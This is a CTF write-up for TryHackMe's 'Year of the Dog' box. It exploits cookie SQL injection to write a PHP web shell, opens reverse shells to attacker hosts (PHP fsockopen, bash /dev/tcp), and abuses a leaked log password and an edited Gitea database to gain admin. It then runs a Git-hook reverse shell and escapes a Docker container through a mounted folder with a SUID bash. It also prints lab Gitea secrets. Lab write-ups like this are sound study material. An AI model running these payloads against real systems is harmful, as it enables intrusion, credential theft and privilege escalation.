This is the hard box on TryHackMe website. It requires the some knowledge about docker and webapp pentest. Let’s start
For beginning I put the ip in /etc/hosts for convinient

10.10.125.102 dog.thm

Enumeration

Port Scanning

I will start with a simple nmap to find out which service is running on this host.

nmap -p- -v dog.thm
...
Discovered open port 80/tcp on 10.10.42.196
Discovered open port 22/tcp on 10.10.42.196
...

Base on the result, we know that there is 2 services is running on this port. As my guess there is a SSH and a webserver, but a will scan more deeper to confirm

nmap -A -p 80,22 dog.thm  
...
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e4:c9:dd:9b:db:95:9e:fd:19:a9:a6:0d:4c:43:9f:fa (RSA)
|   256 c3:fc:10:d8:78:47:7e:fb:89:cf:81:8b:6e:f1:0a:fd (ECDSA)
|_  256 27:68:ff:ef:c0:68:e2:49:75:59:34:f2:bd:f0:c9:20 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Canis Queue

Exactly like my guess, we can see there is a webserver and SSH server is running on this host. I will start to enumeration this server

Webserver on port 80

alt text

As a first glance, the page show which number we are in the queue. I will go for directories brute forcet to see whether any hidden directories here.

gobuster dir -u http://dog.thm -w /usr/share/wordlists/dirb/common.txt -t 20 -x php,txt

The result don’t give us anything news so I get back to the landing page. I try to reload the page and observer that the our number on the page does not change so it must base on something to hold our number. So I try to clean up our cookies and reload the page and our number was changed. Analyzing the cookies, it look like a hash so it can not use to decode back to a number. So my guess is this one the ID that stick with our number in the database. So I use Burp Sutite to capture the request and try some SQLi on the cookies. I try the cookies id=a' and I got this error.
alt text
So this one is vunerable to SQLi

Exploit

SQLi

So I save the packet capture by Burp Suite and try sqlmap to exploit the database of this server

sqlmap -r cap --schema --level 3

Cause the page is vulnerable in cookie so I go with flag --level large than 2. With this we can see there is 2 schema on this server and the database is MySQL. I will going with the schema webapp

sqlmap -r cap -D webapp --tables --level 3

We found there is a table queue inside that schema, I will start to –dump the table

sqlmap -r cap -D webapp -T queue --dump --level 3

But it give us nothing except the number and the ID of its. No credentials and something juice

SQLi to RCE

I start to search on the internet to find out where we can levagage SQLi to spawn a reverse shell to our local machine. I and found this article. According to it, we can use sqlmap with flag --os-shell to use SQLi to upload write some PHP code into a file on server. Let’s try this one:

sqlmap -r cap -D webapp --os-shell

But it not working with me so try to exploit it manually. Cause we know this server is running PHP, so I try to inject some PHP code to page with this payload a' a' union select null, '<?php system($_GET["cmd"]); ?>' -- and I got this result.
alt text
We got block by a filter. So I try to bypass by converting it to decimal and using the char () function but it still blocked. Finally, try to convert the string into hex and try again with this payload

a' union select null, 0x3c3f7068702073797374656d28245f4745545b22636d64225d293b203f3e -- 

alt text
And we success to inject to code, now we can use the param cmd to run our command. But after i few try, I firuge out this not work because when I look closers into HTMl on the brower I see this.
alt text
Our code was comment out so I need to use another way. We can guess the root folder for the webserver is in /var/www/html so I will try to write our PHP code to the file on this folder. The payload will look like this:

a' union select null, 0x3c3f7068702073797374656d28245f4745545b22636d64225d293b203f3e into outfile '/var/www/html/rce.php'-- 

And the access to /rce.php?cmd=id you can see we success to upload our file.
alt text
Now i will make a reverse shell back to my machine with payload

cmd=php -r '$sock=fsockopen("10.17.7.60",7777);exec("/bin/sh -i <&3 >&3 2>&3");'

And now we got the reverse shell

Escalting to dylan

First thing I do when got the reverse shell is find which sudo right we can use on this machine

$ python3 -c "import pty; pty.spawn('/bin/bash')"
www-data@year-of-the-dog:/var/www/html$ sudo -l
sudo -l
[sudo] password for www-data: 

Sadly we don’t have the password so we cannot know what sudo right we can do so I start to look around in the machine. And in the /home folder we see there is another user name dylan and we can access to this user folder. Inside dylan home directory, you can see a file called work_analysis and after looking it you can see it look like a log for the ssh server. The log file is always juicy for hacker, I try look for some credentials on the file and I found this

www-data@year-of-the-dog:/home/dylan$ cat work_analysis | grep dylan 
cat work_analysis | grep dylan
Sep  5 20:52:57 staging-server sshd[39218]: Invalid user dylanLabr4d0rs4L1f3 from 192.168.1.142 port 45624
Sep  5 20:53:03 staging-server sshd[39218]: Failed password for invalid user dylanLabr4d0rs4L1f3 from 192.168.1.142 port 45624 ssh2
Sep  5 20:53:04 staging-server sshd[39218]: Connection closed by invalid user dylan[PASSWORD HERE] 192.168.1.142 port 45624 [preauth]

Look like dylan has some mistake when typing the password with the username. So now we got the password for SSH account of dylan and we can log in as dylan via SSH.

Go inside docker

I countinue to check sudo right of dylan

dylan@year-of-the-dog:~$ sudo -l
[sudo] password for dylan: 
Sorry, user dylan may not run sudo on year-of-the-dog.

But still not any thing here. So try some more basic enum like finding SUID file, Linux capbilities, … And I foudn something when looking at which port is listening on the server

dylan@year-of-the-dog:~$ ss -tulw
Netid   State     Recv-Q    Send-Q            Local Address:Port            Peer Address:Port    
icmp6   UNCONN    0         0                        *%eth0:ipv6-icmp                  *:*       
udp     UNCONN    0         0                 127.0.0.53%lo:domain               0.0.0.0:*       
udp     UNCONN    0         0             10.10.43.125%eth0:bootpc               0.0.0.0:*       
tcp     LISTEN    0         128               127.0.0.53%lo:domain               0.0.0.0:*       
tcp     LISTEN    0         128                     0.0.0.0:ssh                  0.0.0.0:*       
tcp     LISTEN    0         128                   127.0.0.1:3000                 0.0.0.0:*       
tcp     LISTEN    0         128                   127.0.0.1:46433                0.0.0.0:*       
tcp     LISTEN    0         80                    127.0.0.1:mysql                0.0.0.0:*       
tcp     LISTEN    0         128                           *:http                       *:*       
tcp     LISTEN    0         128                        [::]:ssh                     [::]:*   

You can see here, there is 2 more port is 3000 and 46433 that is not visible with public. So I will use SSH port forwarding to redirect these port to my local machine ### Port 46433

 ssh -L localhost:46433:127.0.0.1:46433 dylan@dogyear.thm 

It look like the webserver but when I try to connect, it always return 404 page not found so I move on the port 3000

Port 3000

 ssh -L localhost:3000:127.0.0.1:3000 dylan@dogyear.thm 

alt text
This one look more promising. There is a gitea server is running on this machine. And there is also a folder /gitea in the machine, and inside it you can file the config file of its is app.ini

dylan@year-of-the-dog:/gitea/gitea/conf$ cat app.ini
APP_NAME = Year of the Dog
RUN_MODE = prod
RUN_USER = git

[repository]
ROOT = /data/git/repositories

[repository.local]
LOCAL_COPY_PATH = /data/gitea/tmp/local-repo

[repository.upload]
TEMP_PATH = /data/gitea/uploads

[server]
APP_DATA_PATH    = /data/gitea
DOMAIN           = localhost
SSH_DOMAIN       = localhost
HTTP_PORT        = 3000
ROOT_URL         = http://localhost:3000/
DISABLE_SSH      = false
SSH_PORT         = 22
SSH_LISTEN_PORT  = 22
LFS_START_SERVER = true
LFS_CONTENT_PATH = /data/git/lfs
LFS_JWT_SECRET   = 4v0-5OJcdl6CYzD42Zm2oUmFFa6tW2rpeQlKPPyEk6I
OFFLINE_MODE     = false

[database]
PATH     = /data/gitea/gitea.db
DB_TYPE  = sqlite3
HOST     = localhost:3306
NAME     = gitea
USER     = root
PASSWD   = 
SCHEMA   = 
SSL_MODE = disable
CHARSET  = utf8

[indexer]
ISSUE_INDEXER_PATH = /data/gitea/indexers/issues.bleve

[session]
PROVIDER_CONFIG = /data/gitea/sessions
PROVIDER        = file

[picture]
AVATAR_UPLOAD_PATH            = /data/gitea/avatars
REPOSITORY_AVATAR_UPLOAD_PATH = /data/gitea/repo-avatars
DISABLE_GRAVATAR              = false
ENABLE_FEDERATED_AVATAR       = true

[attachment]
PATH = /data/gitea/attachments

[log]
ROOT_PATH = /data/gitea/log
MODE      = file
LEVEL     = info

[security]
INSTALL_LOCK   = true
SECRET_KEY     = XZ8WdgzCGB34L7EkQkgIjuPkR36TtktZjHU6YuZjZk5qUZ2spsOqnYtJQMHOX9EL
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE1OTkzMzA1ODV9.uDei0Zf0O3p9sqKVxtudzATRMvb9Udp4VQtxHYa0pao

[service]
DISABLE_REGISTRATION              = false
REQUIRE_SIGNIN_VIEW               = false
REGISTER_EMAIL_CONFIRM            = false
ENABLE_NOTIFY_MAIL                = false
ALLOW_ONLY_EXTERNAL_REGISTRATION  = false
ENABLE_CAPTCHA                    = false
DEFAULT_KEEP_EMAIL_PRIVATE        = false
DEFAULT_ALLOW_CREATE_ORGANIZATION = true
DEFAULT_ENABLE_TIMETRACKING       = true
NO_REPLY_ADDRESS                  = noreply.localhost

[oauth2]
JWT_SECRET = 3cyHov-RUpA5PTC7Nnkf192mS3HhporDr1S980jBKWM

[mailer]
ENABLED = false

[openid]
ENABLE_OPENID_SIGNIN = true
ENABLE_OPENID_SIGNUP = true

This file give us a lot of juicy information. After reading it we know the user running this server is git. But when I read /etc/passwd I don’t see any user like that, so this must be running inside some container like docker so we can try go inside that docker to find somthing fun.
I found this article talk about the CVE lead to RCE with gitea version less than 1.13.0 (but our gitea is still in dev so I think it is still vulnerable to this CVE). Base on this we can execute command inside the Git Hook tab. So now I create new user and try to create new repo to use the Git Hook to RCE.
alt text
Sadly, our user is disable to use Git Hook so we cannot see the Git Hook tab here and we go into the dead end here. Now I remember there is a file called gitea.db inside /gitea folder. So I try to read it.

dylan@year-of-the-dog:/gitea$ sqlite3 gitea/gitea.db 

Command 'sqlite3' not found, but can be installed with:

apt install sqlite3
Please ask your administrator.

But we cannot use sqlite here so I download it my kali and read it. We found the table user is interesting. From here we can see the password of admin user is dylan

sqlite> select lower_name, passwd, is_admin from user;
dylan|f2fd45caa2f5eae17cb5faa06eb57c4ad05532550fe37ae99e2245429757af09350be12abba616de4e8f0e37d223bd327261|1
test|8e191b89e5c642ae5bd02e5fd5cf95c2e67d64bf19bdc5302c008d93242dfc6fa37114c151af51b8f84c08c6f8765ec56983|0

But with this password cracking it is not a good idea, But instead, I came up with the idea that we can update our new user (which is test for me) to be admin. And we can upload the file back to the machine cause the file is own by dylan so we can overwrite it.

sqlite> update table user set is_admin = 1;
Error: near "table": syntax error
sqlite> update user set is_admin=1;
sqlite> select lower_name, is_admin from user;
dylan|1
test|1

After update the file I make a python server server to upload file back to the server and overwrite to previous file.

# kali
root@kali:/tmp# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.43.125 - - [04/Aug/2021 03:46:49] "GET /gitea.db HTTP/1.1" 200 -

# server
dylan@year-of-the-dog:/gitea/gitea$ wget http://10.17.7.60/gitea.db
--2021-08-04 08:46:49--  http://10.17.7.60/gitea.db
Connecting to 10.17.7.60:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1212416 (1.2M) [application/octet-stream]
Saving to: ‘gitea.db.1’

gitea.db.1               100%[===============================>]   1.16M   201KB/s    in 6.3s    

2021-08-04 08:46:56 (188 KB/s) - ‘gitea.db.1’ saved [1212416/1212416]

dylan@year-of-the-dog:/gitea/gitea$ mv gitea.db.1 gitea.db

And now reload the website. We can now access to admin dashboard. Now I look at dylan repo and found now we can use the Git hook feauture. So I follow the article we have seen before and try to modify Post Receive Hook with a reverse shell code with the code

bash -i >& /dev/tcp/10.0.0.1/4242 0>&1

The git hook code will work after we make new commit to this repo so I make a new commit with README.md and we got the reverse shell

To root of docker

I check the sudo right for our git user and see (ALL) NOPASSWD: ALL so we can run everything

sudo bash -p
whoami
root

Now we are root inside docker

Escape out of docker

Most of the box I have played about docker, a lot of them use mount for monting the root folder on the machine to the image inside the docker container. So i will start by enumeration which is mounting to this machine

mount -l
...
/dev/xvda1 on /data type ext4 (rw,relatime,data=ordered)
...

Notice that there is 1 folder on the real machien to mount to the path /data. When I access it, we can see this is the folder /gitea on the real machine.

# inside docker
cp /bin/bash /data
chmod +s /bin/bash

# on dylan account
dylan@year-of-the-dog:/gitea/gitea$ ./bash -p

But it not run so I check release of 2 machine and realize the docker is running alpine and the server is running Ubuntu. So I upload the bash on the ubuntu to the contianer.

# on dylan machine
dylan@year-of-the-dog:/bin$ python3 -m http.server

# on container
wget 172.17.0.1:8000/bash -O /data/bash
chmod +s /data/bash

By using this we can use the root of container to give the suid the bash (cause it has the uid is 0).

dylan@year-of-the-dog:/gitea/gitea$ ./bash -p
root@year-of-the-dog:/gitea/gitea$ cd /root
root@year-of-the-dog:/root$ cat root.txt
THM{xxxxxxxxxxxxxxxxxxxxx}

And now we are root